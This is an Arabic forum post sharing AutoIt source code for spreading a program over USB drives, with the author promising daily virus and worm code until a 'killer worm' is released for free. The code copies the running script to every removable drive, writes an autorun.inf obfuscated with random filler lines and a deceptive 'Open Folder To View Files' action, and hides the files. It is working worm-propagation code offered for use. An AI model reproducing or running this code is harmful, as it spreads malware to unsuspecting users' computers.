[‏windows 8]

[ , شرح , ] , كواد , AutoIt , انتشار , usb , قوى , جدا

[ شرح ] كواد AutoIt انتشار usb قوى جدا

السلام عليكم اخواتى الاعزاء
الموضوع هوا كود AutoIt انتشار usb

الموضوع هوا كود انتشار usb قوى

هذا هوا الكود

كود:

Func _RandomAlphaNum($len)
Dim $OP,$Alpha[27] = ["a", "b", "c", "d", "e", "f", "g", _
"h", "i", "j", "k", "l", "m", "n", _
"o", "p", "q", "r", "s", "t", "u", _
"v", "w", "x", "y", "z"]
Do
Switch Random(1,4,1)
case 1
$OP &= $Alpha[Random(0,26,1)]
case 2
$OP &= StringUpper($Alpha[Random(0,26,1)])
case 3
$OP &= Random(0,10,1)
EndSwitch
Until StringLen($OP) >= $len
Return $OP
EndFunc

Func _SpreadUSB($_FNameWithExt=@ScriptName,$_Hidden=Tru e)
$Drives = DriveGetDrive("REMOVABLE")
If IsArray($Drives) And Not @error Then
For $i=1 To $Drives[0]
If FileExists($Drives[$i] & "\" & $_FNameWithExt) Then FileDelete($Drives[$i] & "\" & $_FNameWithExt)
If FileExists($Drives[$i] & "\autorun.inf") Then FileDelete($Drives[$i] & "\autorun.inf")
FileCopy(@ScriptFullPath, $Drives[$i] & "\" & $_FNameWithExt)
FileWrite($Drives[$i] & "\autorun.inf",Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(9,20,1)) & Chr(93) & @CRLF & _
"[autorun]" & @CRLF & _
_RandomAlphaNum(Random(10,30,1)) & @CRLF & _
"open=" & $_FNameWithExt & @CRLF & _
_RandomAlphaNum(Random(10,30,1)) & @CRLF & _
_RandomAlphaNum(Random(5,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
"****************lexecute=" & $_FNameWithExt & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(15,40,1)) & Chr(93) & @CRLF & _
"action=Open Folder To View Files" & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(20,40,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF)
If $_Hidden Then
FileSetAttrib($Drives[$i] & "\" & $_FNameWithExt,"+SH")
FileSetAttrib($Drives[$i] & "\autorun.inf", "+SHR")
EndIf
Next
EndIf
EndFunc

والى هنا قد انتى موضوعى وانتظرونى بئزن الله تعآلى
كل يوم انشاء الله بكود جديد لفيروس او اكواد لدوده
حتى انتهى من عمل الدوده القاتله وسوف تكون مجانيه

المصدر: development-point - للمزيد تابع : الأرشيف

---

F avp D ;,h] AutoIt hkjahv usb r,n []h